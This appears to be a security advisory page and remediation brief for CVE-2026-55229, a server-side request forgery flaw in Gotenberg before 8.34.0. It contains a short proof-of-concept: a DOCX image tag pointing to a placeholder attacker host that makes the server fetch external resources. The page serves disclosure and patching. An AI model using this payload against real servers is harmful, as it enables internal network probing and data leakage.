Gotenberg: SSRF via LibreOffice document processing

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS

7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS

• CVE-2026-55229: 1.51% estimated exploitation activity in the next 30 days; percentile 74.53 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

Summary Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration. By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations. Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document. PoC External Resource Retrieval Create a DOCX document containing the following content: <img src="http://[ATTACKERHOST]:[PORT]/path?query=somedata" Upload the document to the /forms/libreoffice/convert endpoint. During document processing, LibreOffice automatically retrieves the referenced external resource. An outbound request can be…

Published by the source

18 Jun 2026, 13:04 UTC

Last modified by the source

18 Jun 2026, 13:04 UTC

Source last checked

26 Oct 2026, 15:24 UTC

1. Revision 1 · created · 26 Oct 2026

   Published from ghsa record GHSA-2mrg-35hw-x3x9

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# Patch Next advisory brief: CVE-2026-55229

Advisory: Gotenberg: SSRF via LibreOffice document processing
IDs: CVE-2026-55229, GHSA-2mrg-35hw-x3x9
Record: https://patchnext.com/advisories/cve-2026-55229 (revision 1, source checked 26 Oct 2026, 15:24 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: High (CVSS 7.5)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: github.com/gotenberg/gotenberg/v8 8.34.0. A vendor fix does not mean a deployment is fixed.

## Affected components
- Go github.com/gotenberg/gotenberg/v8: affected < 8.34.0; fixed in 8.34.0

## Suggested inspection (read-only)
- Go github.com/gotenberg/gotenberg/v8: check the installed version with your package manager.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on github.com/gotenberg/gotenberg/v8.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://github.com/advisories/GHSA-2mrg-35hw-x3x9 (GitHub-reviewed advisory GHSA-2mrg-35hw-x3x9 lists affected ranges: Go github.com/gotenberg/gotenberg/v8 >=0 <8.34.0)

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